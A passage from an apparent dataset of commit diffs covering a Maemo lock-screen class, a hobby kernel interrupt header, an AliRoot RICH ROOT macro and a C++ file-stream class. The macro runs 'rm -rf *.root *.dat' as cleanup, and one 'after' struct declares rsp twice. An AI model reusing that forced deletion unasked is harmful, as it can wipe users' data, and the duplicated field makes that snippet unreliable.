Maemo::QmDisplayState::On:\n toggleKeyPadLock(false); \/\/unlock the keypad\n break;\n default:\n break;\n }\n}\n\nvoid LockScreenBusinessLogic::unlockScreen()\n{\n qDebug() << Q_FUNC_INFO;\n toggleScreenLockUI(false); \/\/turn off the UI\n toggleKeyPadLock(false); \/\/unlock the keypad\n}\n\nvoid LockScreenBusinessLogic::updateMissedEventAmounts(int a, int b, int c, int d)\n{\n qDebug() << \"LockScreenBusinessLogic::updateMissedEventAmounts(\"\n << a << \", \" << b << \", \" << c << \", \" << d << \")\";\n lockUI->updateMissedEventAmounts(a, b, c, d);\n}\n\nvoid LockScreenBusinessLogic::toggleKeyPadLock(bool toggle)\n{\n qDebug() << Q_FUNC_INFO << toggle;\n QmLocks::State newState = (toggle ? QmLocks::Locked : QmLocks::Unlocked);\n QmLocks touchPadLocker;\n touchPadLocker.setState(QmLocks::TouchAndKeyboard, newState);\n}\n\nvoid LockScreenBusinessLogic::toggleScreenLockUI(bool toggle)\n{\n qDebug() << Q_FUNC_INFO << toggle;\n if (toggle) {\n DuiApplication::activeApplicationWindow()->show();\n lockUI->appear();\n } else {\n DuiApplication::activeApplicationWindow()->hide();\n }\n}\n\n\n<commit_msg>Removing test code, once again<commit_after>#include <DuiApplicationWindow>\n#include <DuiApplication>\n#include <QDBusInterface>\n#include <QDebug>\n\n#include \"lockscreenui.h\"\n#include \"lockscreenbusinesslogic.h\"\n\nLockScreenBusinessLogic::LockScreenBusinessLogic(QObject* parent) :\n QObject(parent),\n display(NULL),\n lockUI(NULL)\n{\n qDebug() << Q_FUNC_INFO;\n\n display = new QmDisplayState(this);\n lockUI = new LockScreenUI();\n\n connect(display, SIGNAL(displayStateChanged(Maemo::QmDisplayState::DisplayState)),\n this, SLOT(displayStateChanged(Maemo::QmDisplayState::DisplayState)));\n connect(lockUI, SIGNAL(unlocked()), this, SLOT(unlockScreen()));\n\n\n \/*\n dbusIf = new QDBusInterface(\"org.maemo.dui.NotificationManager\", \"\/systemui\",\n \"org.maemo.dui.NotificationManager.MissedEvents\",\n QDBusConnection::sessionBus(), this);\n connect(dbusIf, SIGNAL(missedEventAmountsChanged(int, int, int, int)),\n this, SLOT(updateMissedEventAmounts(int, int, int, int)));\n dbusIf->call(QDBus::NoBlock, QString(\"missedEventAmountsRequired\"));\n *\/\n}\n\nLockScreenBusinessLogic::~LockScreenBusinessLogic()\n{\n \/\/delete eventEater;\n \/\/eventEater = NULL;\n delete lockUI;\n}\n\nvoid LockScreenBusinessLogic::shortPowerKeyPressOccured()\n{\n qDebug() << Q_FUNC_INFO;\n switch (display->get()) {\n case Maemo::QmDisplayState::Off:\n toggleScreenLockUI(true); \/\/make sure the UI is on\n toggleKeyPadLock(false);\n display->set(Maemo::QmDisplayState::On);\n break;\n case Maemo::QmDisplayState::On:\n case Maemo::QmDisplayState::Dimmed:\n toggleKeyPadLock(true);\n display->set(Maemo::QmDisplayState::Off);\n toggleScreenLockUI(true);\n break;\n }\n}\n\nvoid LockScreenBusinessLogic::displayStateChanged(Maemo::QmDisplayState::DisplayState state)\n{\n qDebug() << Q_FUNC_INFO << state;\n switch (state) {\n case Maemo::QmDisplayState::Off:\n toggleKeyPadLock(true); \/\/lock the keypad\n toggleScreenLockUI(true); \/\/show UI\n break;\n case Maemo::QmDisplayState::On:\n toggleKeyPadLock(false); \/\/unlock the keypad\n break;\n default:\n break;\n }\n}\n\nvoid LockScreenBusinessLogic::unlockScreen()\n{\n qDebug() << Q_FUNC_INFO;\n toggleScreenLockUI(false); \/\/turn off the UI\n toggleKeyPadLock(false); \/\/unlock the keypad\n}\n\nvoid LockScreenBusinessLogic::updateMissedEventAmounts(int a, int b, int c, int d)\n{\n qDebug() << \"LockScreenBusinessLogic::updateMissedEventAmounts(\"\n << a << \", \" << b << \", \" << c << \", \" << d << \")\";\n lockUI->updateMissedEventAmounts(a, b, c, d);\n}\n\nvoid LockScreenBusinessLogic::toggleKeyPadLock(bool toggle)\n{\n qDebug() << Q_FUNC_INFO << toggle;\n QmLocks::State newState = (toggle ? QmLocks::Locked : QmLocks::Unlocked);\n QmLocks touchPadLocker;\n touchPadLocker.setState(QmLocks::TouchAndKeyboard, newState);\n}\n\nvoid LockScreenBusinessLogic::toggleScreenLockUI(bool toggle)\n{\n qDebug() << Q_FUNC_INFO << toggle;\n if (toggle) {\n DuiApplication::activeApplicationWindow()->show();\n lockUI->appear();\n } else {\n DuiApplication::activeApplicationWindow()->hide();\n }\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef INTERRUPTS_H\n#define INTERRUPTS_H\n\n#include \"stl\/types.hpp\"\n\nnamespace interrupt {\n\nconstexpr const size_t SYSCALL_FIRST = 50;\nconstexpr const size_t SYSCALL_MAX = 10;\n\nstruct fault_regs {\n uint64_t error_no;\n uint64_t error_code;\n uint64_t rip;\n uint64_t rflags;\n uint64_t cs;\n uint64_t rsp;\n uint64_t ss;\n} __attribute__((packed));\n\nstruct syscall_regs {\n uint64_t data_segment;\n uint64_t rax;\n uint64_t rbx;\n uint64_t rcx;\n uint64_t rdx;\n uint64_t rsi;\n uint64_t rdi;\n uint64_t r8;\n uint64_t r9;\n uint64_t r10;\n uint64_t r11;\n uint64_t r12;\n uint64_t code;\n} __attribute__((packed));\n\nvoid setup_interrupts();\n\nvoid register_irq_handler(size_t irq, void (*handler)());\nvoid register_syscall_handler(size_t irq, void (*handler)(const syscall_regs&));\n\n} \/\/end of interrupt namespace\n\n#endif\n<commit_msg>Get reference to the values that are pushed on the stack by int<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef INTERRUPTS_H\n#define INTERRUPTS_H\n\n#include \"stl\/types.hpp\"\n\nnamespace interrupt {\n\nconstexpr const size_t SYSCALL_FIRST = 50;\nconstexpr const size_t SYSCALL_MAX = 10;\n\nstruct fault_regs {\n uint64_t error_no;\n uint64_t error_code;\n uint64_t rip;\n uint64_t rflags;\n uint64_t cs;\n uint64_t rsp;\n uint64_t ss;\n} __attribute__((packed));\n\nstruct syscall_regs {\n uint64_t data_segment;\n uint64_t rax;\n uint64_t rbx;\n uint64_t rcx;\n uint64_t rdx;\n uint64_t rsi;\n uint64_t rdi;\n uint64_t r8;\n uint64_t r9;\n uint64_t r10;\n uint64_t r11;\n uint64_t r12;\n uint64_t rbp;\n uint64_t rsp;\n uint64_t code;\n uint64_t rip;\n uint64_t cs;\n uint64_t rflags;\n uint64_t rsp;\n} __attribute__((packed));\n\nvoid setup_interrupts();\n\nvoid register_irq_handler(size_t irq, void (*handler)());\nvoid register_syscall_handler(size_t irq, void (*handler)(const syscall_regs&));\n\n} \/\/end of interrupt namespace\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#if !defined( __CINT__) || defined(__MAKECINT__)\n#include <AliRun.h>\n#include <AliStack.h>\n#include <AliLoader.h>\n#include <AliRunLoader.h>\n\n#include \"AliRICH.h\"\n#include \"AliRICHDisplFast.h\"\n#endif\n\n\/\/globals for easy manual manipulations\nAliRun *a; AliStack *s; AliRunLoader *al; \nAliRICH *r; AliLoader *rl,*vl;\n\n\n\/\/__________________________________________________________________________________________________\nvoid pp(int tid)\n{\n if(!al) return;\n al->LoadHeader(); al->LoadKinematics();\n \n if(tid<0||tid>=al->Stack()->GetNtrack())\n cout<<\"Valid tid number is 0-\"<<al->Stack()->GetNtrack()-1<<\" for this event.\\n\";\n else\n PrintParticleInfo(tid);\n \n al->UnloadKinematics(); al->UnloadHeader();\n}\n\/\/__________________________________________________________________________________________________\nvoid PrintParticleInfo(int tid)\n{\n\/\/ Prints particle info for a given TID\n TParticle *p=al->Stack()->Particle(tid);\n cout<<p->GetName()<<\"(\"<<tid<<\")\";\n if(!p->IsPrimary()){cout<<\" from \"; PrintParticleInfo(p->GetFirstMother());}\n else {cout<<endl;} \n} \n\/\/__________________________________________________________________________________________________\nInt_t mother(Int_t tid)\n{\n\/\/ Who is the mother of given track TID?\n al->LoadHeader(); al->LoadKinematics();\n \n if(tid<0||tid>=al->Stack()->GetNtrack())\n cout<<\"Valid tid number is 0-\"<<al->Stack()->GetNtrack()-1<<\" for this event.\\n\";\n else\n while(1){\n TParticle *p=al->Stack()->Particle(tid);\n if(p->IsPrimary()) break;\n tid=p->GetFirstMother();\n }\n \n al->UnloadKinematics(); al->UnloadHeader();\n return tid;\n}\n\/\/__________________________________________________________________________________________________\n\nBool_t AliceRead()\n{\n Info(\"ReadAlice\",\"Tring to read ALICE from SIMULATED FILE...\");\n if(gAlice){\n delete gAlice->GetRunLoader();\n delete gAlice;\n } \n \n if(gSystem->Exec(\"ls galice.root>\/dev\/null\")==256){\/\/there is no galice.root in current directory\n AliceNew();\n RichGet();\n return kFALSE; \/\/new session\n }else{\n if(!(al=AliRunLoader::Open())){\/\/if not possible to read from galice.root, then remove grabage and reinvoke AliceRead()\n gSystem->Exec(\"rm -rf *.root *.dat\");\n AliceRead();\n }\n al->LoadgAlice();\/\/before this gAlice is 0;\n if(!gAlice) Fatal(\"menu.C::ReadAlice\",\"No gAlice in file\");\n a=al->GetAliRun();\/\/provides pointer to AliRun object\n Info(\"AliceRead\",\"Run contains %i event(s)\",a->GetEventsPerRun()); \n RichGet();\n return kTRUE; \/\/old session opened from file\n } \n}\/\/AliceRead()\n\/\/__________________________________________________________________________________________________\nvoid AliceNew()\n{\n Info(\"AliceNew\",\"Init new session\");\n new AliRun(\"gAlice\",\"Alice experiment system\"); gAlice->Init(); a=gAlice; al=gAlice->GetRunLoader();\n}\/\/AliceNew() \n\/\/__________________________________________________________________________________________________\nvoid RichGet()\n{\n if(!(r=r())) Warning(\"RICH\/menu.C::ReadAlice\",\"No RICH in file\");\n if(!(rl=rl())) Warning(\"RICH\/menu.C::ReadAlice\",\"No RICH loader in file\"); \n}\n\n\/\/__________________________________________________________________________________________________\nvoid MenuRich()\n{\n TControlBar *pMenu = new TControlBar(\"vertical\",\"RICH\");\n pMenu->AddButton(\"Display single chambers\" ,\"r->Display();\" , \"Display Fast\");\n pMenu->AddButton(\"Display ALL chambers\" ,\"r->DisplayEvent(0,0);\" , \"Display Fast\");\n pMenu->AddButton(\"Print hits\" ,\"r->HitsPrint();\" ,\"????\");\n pMenu->AddButton(\"Print sdigits\" ,\"r->SDigitsPrint();\" ,\"????\");\n pMenu->AddButton(\"Print digits\" ,\"r->DigitsPrint();\" ,\"????\");\n pMenu->AddButton(\"Print clusters\" ,\"r->ClustersPrint();\" ,\"????\"); \n pMenu->AddButton(\"Print occupancy\" ,\"r->OccupancyPrint();\" ,\"????\"); \n pMenu->AddButton(\"Event Summary \" ,\"r->SummaryOfEvent();\" ,\"????\"); \n pMenu->AddButton(\"Hits plots\" ,\"r->ControlPlots()\" ,\"????\");\n pMenu->AddButton(\"Recon with stack\" ,\"r->CheckPR()\" , \"Create RSR.root with ntuple hn\"); \n pMenu->Show(); \n}\/\/TestMenu()\n\/\/__________________________________________________________________________________________________\nvoid RichMenu()\n{ \n TControlBar *pMenu = new TControlBar(\"vertical\",\"MAIN\");\n \n if(AliceRead()){\/\/it's from file, show some info\n if(r) pMenu->AddButton(\"RICH submenu\" , \"MenuRich()\" , \"Show RICH submenu\" );\n }else{\/\/it's aliroot, simulate\n pMenu->AddButton(\"Debug ON\", \"DebugON();\", \"Switch debug on-off\"); \n pMenu->AddButton(\"Debug OFF\", \"DebugOFF();\", \"Switch debug on-off\"); \n pMenu->AddButton(\"Run\", \"a()->Run(1)\", \"Process!\");\n }\n pMenu->AddButton(\"Test segmentation\" ,\"rp->TestSeg()\" ,\"Test AliRICHParam segmentation methods\" );\n pMenu->AddButton(\"Test response\" ,\"rp->TestResp()\" ,\"Test AliRICHParam response methods\" );\n pMenu->AddButton(\"Test transformation\",\"rp->TestTrans()\",\"Test AliRICHParam transformation methods\" );\n pMenu->AddButton(\"Test opticals\" ,\".x Opticals.h\" ,\"Test optical properties\" );\n pMenu->AddButton(\"Geo GUI\" ,\"GeomGui()\" ,\"Shows geometry\" ); \n pMenu->AddButton(\"Browser\" ,\"new TBrowser;\" ,\"Start ROOT TBrowser\" );\n pMenu->AddButton(\"Quit\" ,\".q\" ,\"Close session\" );\n pMenu->Show();\n}\/\/menu()\n\/\/__________________________________________________________________________________________________\nvoid DebugOFF(){ Info(\"DebugOFF\",\"\"); AliLog::SetGlobalDebugLevel(0);}\nvoid DebugON() { Info(\"DebugON\",\"\"); AliLog::SetGlobalDebugLevel(AliLog::kDebug);}\n\/\/__________________________________________________________________________________________________\nvoid GeomGui()\n{\n if(gGeoManager){ \n gGeoManager->GetTopVolume()->Draw(); \n AliRICHParam::DrawAxis();\n }else \n new G3GeometryGUI;\n} \n\nAliRun *a() {return al->GetAliRun();} \/\/provides pointer to main AliRun object (aka gAlice)\nAliRICH *r() {return (AliRICH*) a()->GetDetector(\"RICH\");} \/\/provides pointer to RICH detector\nAliLoader *rl(){return al->GetLoader(\"RICHLoader\");}\n\nvoid rt(Int_t event=0) {r->PrintTracks (event);} \/\/utility print tracks\nInt_t nem(Int_t event=0) {AliRICH::Nparticles(kElectron ,event,al);} \/\/utility number of electrons\nInt_t nep(Int_t event=0) {AliRICH::Nparticles(kPositron ,event,al);} \/\/utility number of positrons\nInt_t nmup(Int_t event=0) {AliRICH::Nparticles(kMuonPlus ,event,al);} \/\/utility number of positive muons\nInt_t nmum(Int_t event=0) {AliRICH::Nparticles(kMuonMinus ,event,al);} \/\/utility number of negative muons\nInt_t npi0(Int_t event=0) {AliRICH::Nparticles(kPi0 ,event,al);} \/\/utility number of neutral pions \nInt_t npip(Int_t event=0) {AliRICH::Nparticles(kPiPlus ,event,al);} \/\/utility number of positive pions\nInt_t npim(Int_t event=0) {AliRICH::Nparticles(kPiMinus ,event,al);} \/\/utility number of negative pions\nInt_t nk0(Int_t event=0) {AliRICH::Nparticles(kK0 ,event,al);} \/\/utility number of neutral kaons\nInt_t nkp(Int_t event=0) {AliRICH::Nparticles(kKPlus ,event,al);} \/\/utility number of positive kaons\nInt_t nkm(Int_t event=0) {AliRICH::Nparticles(kKMinus ,event,al);} \/\/utility number of negative kaons\nInt_t npp(Int_t event=0) {AliRICH::Nparticles(kProton ,event,al);} \/\/utility number of protons\nInt_t npm(Int_t event=0) {AliRICH::Nparticles(kProtonBar ,event,al);} \/\/utility number of antiprotons\n<commit_msg>Minor change<commit_after>#if !defined( __CINT__) || defined(__MAKECINT__)\n#include <AliRun.h>\n#include <AliStack.h>\n#include <AliLoader.h>\n#include <AliRunLoader.h>\n\n#include \"AliRICH.h\"\n#include \"AliRICHDisplFast.h\"\n#endif\n\n\/\/globals for easy manual manipulations\nAliRun *a; AliStack *s; AliRunLoader *al; \nAliRICH *r; AliLoader *rl,*vl;\n\n\n\/\/__________________________________________________________________________________________________\nvoid pp(int tid)\n{\n if(!al) return;\n al->LoadHeader(); al->LoadKinematics();\n \n if(tid<0||tid>=al->Stack()->GetNtrack())\n cout<<\"Valid tid number is 0-\"<<al->Stack()->GetNtrack()-1<<\" for this event.\\n\";\n else\n PrintParticleInfo(tid);\n \n al->UnloadKinematics(); al->UnloadHeader();\n}\n\/\/__________________________________________________________________________________________________\nvoid PrintParticleInfo(int tid)\n{\n\/\/ Prints particle info for a given TID\n TParticle *p=al->Stack()->Particle(tid);\n cout<<p->GetName()<<\"(\"<<tid<<\")\";\n if(!p->IsPrimary()){cout<<\" from \"; PrintParticleInfo(p->GetFirstMother());}\n else {cout<<endl;} \n} \n\/\/__________________________________________________________________________________________________\nInt_t mother(Int_t tid)\n{\n\/\/ Who is the mother of given track TID?\n al->LoadHeader(); al->LoadKinematics();\n \n if(tid<0||tid>=al->Stack()->GetNtrack())\n cout<<\"Valid tid number is 0-\"<<al->Stack()->GetNtrack()-1<<\" for this event.\\n\";\n else\n while(1){\n TParticle *p=al->Stack()->Particle(tid);\n if(p->IsPrimary()) break;\n tid=p->GetFirstMother();\n }\n \n al->UnloadKinematics(); al->UnloadHeader();\n return tid;\n}\n\/\/__________________________________________________________________________________________________\n\nBool_t AliceRead()\n{\n Info(\"ReadAlice\",\"Tring to read ALICE from SIMULATED FILE...\");\n if(gAlice){\n delete gAlice->GetRunLoader();\n delete gAlice;\n } \n \n if(gSystem->Exec(\"ls galice.root>\/dev\/null\")==256){\/\/there is no galice.root in current directory\n AliceNew();\n RichGet();\n return kFALSE; \/\/new session\n }else{\n if(!(al=AliRunLoader::Open())){\/\/if not possible to read from galice.root, then remove grabage and reinvoke AliceRead()\n gSystem->Exec(\"rm -rf *.root *.dat\");\n AliceRead();\n }\n al->LoadgAlice();\/\/before this gAlice is 0;\n if(!gAlice) Fatal(\"menu.C::ReadAlice\",\"No gAlice in file\");\n a=al->GetAliRun();\/\/provides pointer to AliRun object\n Info(\"AliceRead\",\"Run contains %i event(s)\",a->GetEventsPerRun()); \n RichGet();\n return kTRUE; \/\/old session opened from file\n } \n}\/\/AliceRead()\n\/\/__________________________________________________________________________________________________\nvoid AliceNew()\n{\n Info(\"AliceNew\",\"Init new session\");\n new AliRun(\"gAlice\",\"Alice experiment system\"); gAlice->Init(); a=gAlice; al=gAlice->GetRunLoader();\n}\/\/AliceNew() \n\/\/__________________________________________________________________________________________________\nvoid RichGet()\n{\n if(!(r=r())) Warning(\"RICH\/menu.C::ReadAlice\",\"No RICH in file\");\n if(!(rl=rl())) Warning(\"RICH\/menu.C::ReadAlice\",\"No RICH loader in file\"); \n}\n\n\/\/__________________________________________________________________________________________________\nvoid MenuRich()\n{\n TControlBar *pMenu = new TControlBar(\"vertical\",\"RICH\");\n pMenu->AddButton(\"Display single chambers\" ,\"r->Display();\" , \"Display Fast\");\n pMenu->AddButton(\"Display ALL chambers\" ,\"r->DisplayEvent(0,0);\" , \"Display Fast\");\n pMenu->AddButton(\"Print hits\" ,\"r->HitsPrint();\" ,\"????\");\n pMenu->AddButton(\"Print sdigits\" ,\"r->SDigitsPrint();\" ,\"????\");\n pMenu->AddButton(\"Print digits\" ,\"r->DigitsPrint();\" ,\"????\");\n pMenu->AddButton(\"Print clusters\" ,\"r->ClustersPrint();\" ,\"????\"); \n pMenu->AddButton(\"Print occupancy\" ,\"r->OccupancyPrint(-1);\" ,\"????\"); \n pMenu->AddButton(\"Event Summary \" ,\"r->SummaryOfEvent();\" ,\"????\"); \n pMenu->AddButton(\"Hits plots\" ,\"r->ControlPlots()\" ,\"????\");\n pMenu->AddButton(\"Recon with stack\" ,\"r->CheckPR()\" , \"Create RSR.root with ntuple hn\"); \n pMenu->Show(); \n}\/\/TestMenu()\n\/\/__________________________________________________________________________________________________\nvoid RichMenu()\n{ \n TControlBar *pMenu = new TControlBar(\"vertical\",\"MAIN\");\n \n if(AliceRead()){\/\/it's from file, show some info\n if(r) pMenu->AddButton(\"RICH submenu\" , \"MenuRich()\" , \"Show RICH submenu\" );\n }else{\/\/it's aliroot, simulate\n pMenu->AddButton(\"Debug ON\", \"DebugON();\", \"Switch debug on-off\"); \n pMenu->AddButton(\"Debug OFF\", \"DebugOFF();\", \"Switch debug on-off\"); \n pMenu->AddButton(\"Run\", \"a()->Run(1)\", \"Process!\");\n }\n pMenu->AddButton(\"Test segmentation\" ,\"rp->TestSeg()\" ,\"Test AliRICHParam segmentation methods\" );\n pMenu->AddButton(\"Test response\" ,\"rp->TestResp()\" ,\"Test AliRICHParam response methods\" );\n pMenu->AddButton(\"Test transformation\",\"rp->TestTrans()\",\"Test AliRICHParam transformation methods\" );\n pMenu->AddButton(\"Test opticals\" ,\".x Opticals.h\" ,\"Test optical properties\" );\n pMenu->AddButton(\"Geo GUI\" ,\"GeomGui()\" ,\"Shows geometry\" ); \n pMenu->AddButton(\"Browser\" ,\"new TBrowser;\" ,\"Start ROOT TBrowser\" );\n pMenu->AddButton(\"Quit\" ,\".q\" ,\"Close session\" );\n pMenu->Show();\n}\/\/menu()\n\/\/__________________________________________________________________________________________________\nvoid DebugOFF(){ Info(\"DebugOFF\",\"\"); AliLog::SetGlobalDebugLevel(0);}\nvoid DebugON() { Info(\"DebugON\",\"\"); AliLog::SetGlobalDebugLevel(AliLog::kDebug);}\n\/\/__________________________________________________________________________________________________\nvoid GeomGui()\n{\n if(gGeoManager){ \n gGeoManager->GetTopVolume()->Draw(); \n AliRICHParam::DrawAxis();\n }else \n new G3GeometryGUI;\n} \n\nAliRun *a() {return al->GetAliRun();} \/\/provides pointer to main AliRun object (aka gAlice)\nAliRICH *r() {return (AliRICH*) a()->GetDetector(\"RICH\");} \/\/provides pointer to RICH detector\nAliLoader *rl(){return al->GetLoader(\"RICHLoader\");}\n\nvoid rt(Int_t event=0) {r->PrintTracks (event);} \/\/utility print tracks\nInt_t nem(Int_t event=0) {AliRICH::Nparticles(kElectron ,event,al);} \/\/utility number of electrons\nInt_t nep(Int_t event=0) {AliRICH::Nparticles(kPositron ,event,al);} \/\/utility number of positrons\nInt_t nmup(Int_t event=0) {AliRICH::Nparticles(kMuonPlus ,event,al);} \/\/utility number of positive muons\nInt_t nmum(Int_t event=0) {AliRICH::Nparticles(kMuonMinus ,event,al);} \/\/utility number of negative muons\nInt_t npi0(Int_t event=0) {AliRICH::Nparticles(kPi0 ,event,al);} \/\/utility number of neutral pions \nInt_t npip(Int_t event=0) {AliRICH::Nparticles(kPiPlus ,event,al);} \/\/utility number of positive pions\nInt_t npim(Int_t event=0) {AliRICH::Nparticles(kPiMinus ,event,al);} \/\/utility number of negative pions\nInt_t nk0(Int_t event=0) {AliRICH::Nparticles(kK0 ,event,al);} \/\/utility number of neutral kaons\nInt_t nkp(Int_t event=0) {AliRICH::Nparticles(kKPlus ,event,al);} \/\/utility number of positive kaons\nInt_t nkm(Int_t event=0) {AliRICH::Nparticles(kKMinus ,event,al);} \/\/utility number of negative kaons\nInt_t npp(Int_t event=0) {AliRICH::Nparticles(kProton ,event,al);} \/\/utility number of protons\nInt_t npm(Int_t event=0) {AliRICH::Nparticles(kProtonBar ,event,al);} \/\/utility number of antiprotons\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Asynchronous local file access.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"istream_file.hxx\"\n#include \"istream_buffer.hxx\"\n#include \"buffered_io.hxx\"\n#include \"system\/fd_util.h\"\n#include \"gerrno.h\"\n#include \"pool.hxx\"\n#include \"fb_pool.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n#include \"util\/Cast.hxx\"\n\n#include <assert.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <limits.h>\n\n#include <event.h>\n\n\/**\n * If EAGAIN occurs (on NFS), we try again after 100ms. We can't\n * check EV_READ, because the kernel always indicates VFS files as\n * \"readable without blocking\".\n *\/\nstatic const struct timeval file_retry_timeout = {\n .tv_sec = 0,\n .tv_usec = 100000,\n};\n\nstruct FileIstream {\n struct istream stream;\n int fd;\n\n FdType fd_type;\n\n \/**\n * A timer to retry reading after EAGAIN.\n *\/\n struct event event;\n\n off_t rest;\n SliceFifoBuffer buffer;\n const char *path;\n};\n\nstatic void\nfile_close(FileIstream *file)\n{\n if (file->fd >= 0) {\n evtimer_del(&file->event);\n\n close(file->fd);\n file->fd = -1;\n }\n}\n\nstatic void\nfile_destroy(FileIstream *file)\n{\n file_close(file);\n\n file->buffer.FreeIfDefined(fb_pool_get());\n}\n\nstatic void\nfile_abort(FileIstream *file, GError *error)\n{\n file_destroy(file);\n\n istream_deinit_abort(&file->stream, error);\n}\n\n\/**\n * @return the number of bytes still in the buffer\n *\/\nstatic size_t\nistream_file_invoke_data(FileIstream *file)\n{\n return istream_buffer_consume(&file->stream, file->buffer);\n}\n\nstatic void\nistream_file_eof_detected(FileIstream *file)\n{\n assert(file->fd >= 0);\n\n file_destroy(file);\n\n istream_deinit_eof(&file->stream);\n}\n\nstatic inline size_t\nistream_file_max_read(const FileIstream *file)\n{\n if (file->rest != (off_t)-1 && file->rest < (off_t)INT_MAX)\n return (size_t)file->rest;\n else\n return INT_MAX;\n}\n\nstatic void\nistream_file_try_data(FileIstream *file)\n{\n size_t rest = 0;\n\n if (file->buffer.IsNull()) {\n if (file->rest != 0)\n file->buffer.Allocate(fb_pool_get());\n } else {\n const size_t available = file->buffer.GetAvailable();\n if (available > 0) {\n rest = istream_file_invoke_data(file);\n if (rest == available)\n \/* not a single byte was consumed: we may have been\n closed, and we must bail out now *\/\n return;\n }\n }\n\n if (file->rest == 0) {\n if (rest == 0)\n istream_file_eof_detected(file);\n return;\n }\n\n ForeignFifoBuffer<uint8_t> &buffer = file->buffer;\n ssize_t nbytes = read_to_buffer(file->fd, buffer,\n istream_file_max_read(file));\n if (nbytes == 0) {\n if (file->rest == (off_t)-1) {\n file->rest = 0;\n if (rest == 0)\n istream_file_eof_detected(file);\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", file->path);\n file_abort(file, error);\n }\n return;\n } else if (nbytes == -1) {\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n file->path, strerror(errno));\n file_abort(file, error);\n return;\n } else if (nbytes > 0 && file->rest != (off_t)-1) {\n file->rest -= (off_t)nbytes;\n assert(file->rest >= 0);\n }\n\n assert(!file->buffer.IsEmpty());\n\n rest = istream_file_invoke_data(file);\n if (rest == 0 && file->rest == 0)\n istream_file_eof_detected(file);\n}\n\nstatic void\nistream_file_try_direct(FileIstream *file)\n{\n assert(file->stream.handler->direct != nullptr);\n\n \/* first consume the rest of the buffer *\/\n if (istream_file_invoke_data(file) > 0)\n return;\n\n if (file->rest == 0) {\n istream_file_eof_detected(file);\n return;\n }\n\n ssize_t nbytes = istream_invoke_direct(&file->stream,\n file->fd_type, file->fd,\n istream_file_max_read(file));\n if (nbytes == ISTREAM_RESULT_CLOSED)\n \/* this stream was closed during the direct() callback *\/\n return;\n\n if (nbytes > 0 || nbytes == ISTREAM_RESULT_BLOCKING) {\n \/* -2 means the callback wasn't able to consume any data right\n now *\/\n if (nbytes > 0 && file->rest != (off_t)-1) {\n file->rest -= (off_t)nbytes;\n assert(file->rest >= 0);\n if (file->rest == 0)\n istream_file_eof_detected(file);\n }\n } else if (nbytes == ISTREAM_RESULT_EOF) {\n if (file->rest == (off_t)-1) {\n istream_file_eof_detected(file);\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", file->path);\n file_abort(file, error);\n }\n } else if (errno == EAGAIN) {\n \/* this should only happen for splice(SPLICE_F_NONBLOCK) from\n NFS files - unfortunately we cannot use EV_READ here, so we\n just install a timer which retries after 100ms *\/\n\n evtimer_add(&file->event, &file_retry_timeout);\n } else {\n \/* XXX *\/\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n file->path, strerror(errno));\n file_abort(file, error);\n }\n}\n\nstatic void\nfile_try_read(FileIstream *file)\n{\n if (istream_check_direct(&file->stream, file->fd_type))\n istream_file_try_direct(file);\n else\n istream_file_try_data(file);\n}\n\nstatic void\nfile_event_callback(gcc_unused int fd, gcc_unused short event,\n void *ctx)\n{\n FileIstream *file = (FileIstream *)ctx;\n\n file_try_read(file);\n}\n\n\n\/*\n * istream implementation\n *\n *\/\n\nstatic inline FileIstream *\nistream_to_file(struct istream *istream)\n{\n return &ContainerCast2(*istream, &FileIstream::stream);\n}\n\nstatic off_t\nistream_file_available(struct istream *istream, bool partial)\n{\n FileIstream *file = istream_to_file(istream);\n off_t available = 0;\n\n if (file->rest != (off_t)-1)\n available = file->rest;\n else if (!partial)\n return (off_t)-1;\n else\n available = 0;\n\n available += file->buffer.GetAvailable();\n return available;\n}\n\nstatic off_t\nistream_file_skip(struct istream *istream, off_t length)\n{\n FileIstream *file = istream_to_file(istream);\n\n evtimer_del(&file->event);\n\n if (file->rest == (off_t)-1)\n return (off_t)-1;\n\n if (length == 0)\n return 0;\n\n \/* clear the buffer; later we could optimize this function by\n flushing only the skipped number of bytes *\/\n file->buffer.Clear();\n\n if (length >= file->rest) {\n \/* skip beyond EOF *\/\n\n length = file->rest;\n file->rest = 0;\n } else {\n \/* seek the file descriptor *\/\n\n off_t ret = lseek(file->fd, length, SEEK_CUR);\n if (ret < 0)\n return -1;\n file->rest -= length;\n }\n\n return length;\n}\n\nstatic void\nistream_file_read(struct istream *istream)\n{\n FileIstream *file = istream_to_file(istream);\n\n assert(file->stream.handler != nullptr);\n\n evtimer_del(&file->event);\n\n file_try_read(file);\n}\n\nstatic int\nistream_file_as_fd(struct istream *istream)\n{\n FileIstream *file = istream_to_file(istream);\n int fd = file->fd;\n\n evtimer_del(&file->event);\n istream_deinit(&file->stream);\n\n return fd;\n}\n\nstatic void\nistream_file_close(struct istream *istream)\n{\n FileIstream *file = istream_to_file(istream);\n\n file_destroy(file);\n\n istream_deinit(&file->stream);\n}\n\nstatic const struct istream_class istream_file = {\n .available = istream_file_available,\n .skip = istream_file_skip,\n .read = istream_file_read,\n .as_fd = istream_file_as_fd,\n .close = istream_file_close,\n};\n\n\n\/*\n * constructor and public methods\n *\n *\/\n\nstruct istream *\nistream_file_fd_new(struct pool *pool, const char *path,\n int fd, FdType fd_type, off_t length)\n{\n assert(fd >= 0);\n assert(length >= 